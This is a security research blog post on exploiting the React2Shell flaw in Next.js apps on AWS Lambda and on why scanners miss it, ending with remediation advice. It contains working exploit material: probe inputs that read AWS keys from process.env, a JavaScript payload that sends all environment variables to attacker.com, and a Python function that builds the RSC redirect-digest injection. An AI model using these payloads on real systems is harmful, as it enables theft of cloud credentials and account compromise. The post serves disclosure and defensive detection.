Press enter or click to view image in full size
Originally posted on our website: https://www.prodefense.io/blog/react2shell-for-lambdas
Since the React2Shell vulnerability (CVE-2025–55182) became public, most organizations have either patched their systems or learned the hard way through ransomware attacks. This post serves as a follow-up to the excellent research conducted by many many organizations.
For context, CVE-2025–55182 is a critical 10.0 vulnerability in the React Server Components (RSC) “Flight” protocol that affects the React 19 ecosystem and frameworks implementing it, most notably Next.js. The vulnerability involves unsafe deserialization in the RSC protocol, which enables remote code execution. While the technical details of the vulnerability itself are fascinating, they are not the focus of this post. If you want to dive deeper into the vulnerability mechanics, I recommend reading some of Wiz’s original research.
The AssetNote team created an impressive scanner (react2shell-scanner) that scans hosts at scale to identify servers vulnerable to this issue. It works exceptionally well for traditional server deployments.
But what about serverless infrastructure? Many organizations deploy applications on AWS Lambda functions, which support runtimes like Node.js and Python. Are these serverless deployments vulnerable?
My initial assumption was that they wouldn’t be. After all, it’s difficult to imagine how a server-side component vulnerability in React could manifest in a serverless architecture. The ephemeral nature of Lambda functions and the different request/response patterns seemed like they would naturally mitigate this attack vector.
However, after deeper investigation, I discovered that not only were existing scanners missing these vulnerable serverless deployments, but I couldn’t find any public research demonstrating how this vulnerability could be exploited in Lambda functions.
This blog post will explore exactly that: how CVE-2025–55182 can be exploited in serverless Lambda environments, and why existing scanners fail to detect it.
To understand why this vulnerability manifests differently in serverless environments, we first need to examine how Next.js applications are deployed on AWS Lambda.
In a traditional deployment, Next.js runs as a persistent Node.js server process. The server starts up, loads all routes and components into memory, and maintains state between requests. When a request comes in, the server processes it using the in-memory application state, handles React Server Components (RSC) rendering, and returns the response. The server remains running, ready to handle subsequent requests.
This persistent nature means that RSC protocol responses are generated and returned in a predictable, consistent manner. These responses include the serialized component data and digest values. The server maintains the full application context throughout its lifecycle.
AWS Lambda functions operate fundamentally differently. Lambda is an event-driven, serverless compute service where functions are invoked on-demand and execute in isolated execution environments. Each invocation may run in a fresh container (cold start) or reuse a warm container from a previous invocation, but the execution environment is ephemeral and stateless.
Lambda functions have several key characteristics that differ from traditional servers:
The challenge is that Next.js wasn’t designed for Lambda’s event-driven model. AWS Lambda doesn’t natively support Next.js. It supports Node.js, Python, and other runtimes, but not Next.js frameworks directly.
This is where OpenNext.js comes in. OpenNext.js is an open-source adapter that takes Next.js build output and converts it into packages deployable across various environments, with native support for AWS Lambda and traditional Node.js servers.
OpenNext.js works by:
next build) and transforms it into Lambda-compatible packages.The result is that organizations can deploy full Next.js applications on AWS Lambda. These applications include Server Components, API routes, and middleware, allowing teams to achieve serverless scalability while maintaining Next.js functionality.
The architectural differences between traditional Next.js deployments and OpenNext.js Lambda deployments create a critical gap in vulnerability detection. Traditional scanners detect RSC protocol vulnerabilities by examining responses from persistent servers where the RSC serialization format is consistent and predictable.
In Lambda environments, OpenNext.js transforms responses to fit Lambda’s event-driven model, and the stateless execution model means RSC component state and digests may be generated differently. The adapter layer between Lambda events and Next.js may also modify how RSC protocol data is serialized or presented.
As a result, scanners looking for specific RSC protocol signatures in traditional server responses fail to recognize the same vulnerability when it manifests in Lambda’s transformed response format.
As you might have noticed from the demonstration at the top, almost every major scanner on the market missed this bug in serverless environments. This isn’t because the tools are poorly built. In fact, it’s quite the opposite. Tools like AssetNote’s react2shell-scanner and surajhacx’s POC are top-tier and worked perfectly for traditional server deployments.
The problem is that Lambda is an edge case that breaks their core assumptions. To illustrate this gap, I ran a popular open-source scanner against a known-vulnerable OpenNext.js deployment. Despite the underlying vulnerability being active, the scanner returned a clean bill of health.
Press enter or click to view image in full size
This creates a dangerous false sense of security. If your security team is relying on these tools to audit your serverless footprint, you’re flying blind.
By contrast, when we point a scanner that understands the serverless execution context at the same endpoint, the results are immediate. Instead of looking for a shell that doesn’t exist, we probe for the environment itself.
Press enter or click to view image in full size
As you can see, the vulnerability is very much alive. It just requires a different perspective to detect.
Most scanners use a payload that looks something like this:
Join Medium for free to get updates from this writer.
https://gist.github.com/MattKeeley/9d6cd3e04bc943b799e00dfec1b8905c
(had to use GIST since mediums cloudflare blocks the site with the payload lol)
This payload relies on process.mainModule.require('child_process') to drop into a shell. On a standard Node.js server, this is the gold standard for RCE. But on Lambda? It's a dead end.
When I first fired these standard payloads against a Lambda-backed Next.js site, I got nothing but silence. No shell, no callback, just a 500 Internal Server Error.
I had to stop thinking about “Shell RCE” and start thinking about the Execution Context.
I realized my code wasn’t running in a standard Node.js process. It was buried under layers of abstraction:
┌─────────────────────────────────────────────────────────────────┐
│ AWS Lambda Runtime │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ Node.js v20.19.4 │ │
│ │ ┌─────────────────────────────────────────────────────┐ │ │
│ │ │ Webpack Bundle Runtime │ │ │
│ │ │ ┌───────────────────────────────────────────────┐ │ │ │
│ │ │ │ Next.js Server Components │ │ │ │
│ │ │ │ ┌─────────────────────────────────────────┐ │ │ │ │
│ │ │ │ │ RSC Deserialization (Function() call) │ │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ │ │ >>> YOUR CODE RUNS HERE <<< │ │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ │ └─────────────────────────────────────────┘ │ │ │ │
│ │ │ └───────────────────────────────────────────────┘ │ │ │
│ │ └─────────────────────────────────────────────────────┘ │ │
│ └───────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘I decided to probe the environment directly. Using the vulnerability itself to leak information, I started running commands to see what was “alive” inside the sandbox.
Here is a look at my research notes as I manually tested the environment. The “js:” prefix represents the code I injected into the RSC stream:
Test 1: Check for require
Input: js:typeof require
Output: undefinedWait, what? require is gone?
Test 2: Check for process.mainModule
Input: js:typeof process.mainModule
Output: undefinedOkay, that explains why the standard RCE payloads were failing with TypeErrors. The global module system is completely gutted.
Test 3: Check for fetch
Input: js:typeof fetch
Output: functionBingo. Modern Node.js 20+ runtimes (used by Lambda) include fetch globally. I have a network primitive.
Test 4: The Jackpot
Input: js:process.env.AWS_ACCESS_KEY_ID
Output: ASIARV5D554ZU5PVOH3LAnd there it is. Full access to the Lambda’s environment variables.
This is the technical reality of CVE-2025–55182 in a serverless world. While traditional RCE (dropping a shell) is blocked, we have something potentially more dangerous in a cloud environment: Server-Side JavaScript Injection (SSJI).
The security boundary that prevents RCE in Lambda isn’t intentional hardening. Instead, it’s a side effect of Webpack bundling:
require(): Next.js production builds use Webpack, which replaces the standard require with its own __webpack_require__. This new version doesn't know how to load native Node.js modules like child_process.process.mainModule: In a bundled environment, there is no "main module" reference for Webpack to set, breaking the standard RCE chain./var/task is read-only. You can't drop a persistent backdoor or install new tools.If an attacker has SSJI, they don’t need a shell to destroy your infrastructure. They can simply exfiltrate your live AWS credentials.
Here is what a modern “Serverless Exploit” payload looks like. Instead of trying to run id or whoami, it grabs the environment and sends it to an attacker-controlled server:
// The "Modern" Serverless Payload
const exfil = async () => {
const env = JSON.stringify(process.env);
await fetch('https://attacker.com/log', {
method: 'POST',
body: env
});
};
exfil();Inside the RSC protocol, this looks like this:
def build_payload(attacker_url):
# Escape the JS to fit inside the RSC digest string
escaped_js = (
f"fetch('{attacker_url}/?keys=' + "
f"btoa(JSON.stringify(process.env)))"
".catch(e => {});"
).replace('"', '\\"') # Wrap it in the RSC redirect 'digest' field to trigger execution
return f'throw Object.assign(new Error("NEXT_REDIRECT"),{{digest:"NEXT_REDIRECT;push;/;307;{escaped_js}"}});'
Press enter or click to view image in full size
In a cloud-native world, stealing an AWS_SESSION_TOKEN is often more valuable than getting a shell. Once an attacker has those keys, they can pivot through your S3 buckets, query your DynamoDB, and escalate privileges across your entire account.
The most fascinating part of this research is the irony: modern JavaScript tooling accidentally saved us from the worst-case scenario.
Webpack bundling, which was designed to optimize code and reduce bundle size, inadvertently created a sandbox that prevents the RSC vulnerability from becoming a full-blown shell RCE. It wasn’t a security engineer who stopped the shell. It was a build optimization.
So how do we fix this? Full payload and research can be found on our GitHub here.
The first step is updating your scanners. If your scanner is only looking for shell-based RCE indicators, it is missing your entire serverless footprint.
Organizations should:
AdministratorAccess.fetch requests from your Lambda functions.